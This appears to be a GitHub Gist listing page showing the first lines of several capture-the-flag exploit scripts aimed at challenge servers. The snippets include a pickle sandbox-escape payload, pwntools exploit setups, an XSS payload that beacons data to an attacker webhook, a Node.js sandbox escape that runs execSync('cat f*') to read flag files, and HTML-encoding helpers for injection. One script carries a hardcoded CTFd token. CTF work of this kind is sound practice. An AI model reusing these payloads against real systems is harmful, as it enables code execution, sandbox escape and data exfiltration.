This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
smuggled = \ | |
pickle.GLOBAL + b"sandbox\ny\n" + \ | |
pickle.GLOBAL + b"sandbox\n__builtins__\n" + \ | |
pickle.BUILD + \ | |
pickle.GLOBAL + b"sandbox\nbreakpoint\n" + \ | |
pickle.EMPTY_TUPLE + \ | |
pickle.REDUCE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from __future__ import annotations | |
from pwn import * | |
import ctypes | |
import typing as T | |
binary = ELF("./format-muscle") | |
# libc = ELF("./libc.so.6") | |
ld = ELF("./ld-musl-x86_64.so.1") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import httpx | |
import base64 | |
payload = """ | |
const targetUrl = "https://wwwwwwwwaas.web.actf.co"; | |
const logUrl = "https://<your webhook>"; | |
function log(msg) { | |
navigator.sendBeacon(logUrl + '/log?f=' + msg); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import httpx | |
import time | |
CHALL_URL = "https://ch1688140851.ch.eng.run" | |
def share() -> None: | |
with httpx.Client(base_url=CHALL_URL) as client: | |
try: | |
r = client.post("/share", json={"id": "x"}, timeout=1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/stat.h> | |
#include <sys/wait.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <netinet/tcp.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import dis | |
import marshal | |
import subprocess | |
from opcode import opmap | |
def f(): pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let code = ` | |
Function=this.constructor.constructor; | |
Array.prototype.toString=Object.prototype.toString; | |
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//"; | |
Object.prototype.prepareStackTrace=Function; | |
e=new Error; | |
x={toString:e.stack}+''; | |
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29'); | |
console.log(code); | |
if (process.env.DEBUG) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import secrets | |
TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e" | |
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split() | |
with remote(HOST, PORT) as io: | |
io.sendline(TOKEN) | |
token = secrets.token_hex(16) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask | |
from base64 import b64encode | |
CHALL_URL = "http://45.147.229.138:8000/?e=" | |
CHALL_URL = "http://web/?e=" | |
app = Flask(__name__) | |
@app.route("/") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from urllib.parse import urlencode | |
HOST = "http://eeeeejs.seccon.games:3000/" | |
HOST = "http://localhost:3000/" | |
HOST = "http://web:3000/" | |
def html_encode(s): | |
return "".join(["&#x" + hex(ord(c))[2:] + ";" for c in s]) |
NewerOlder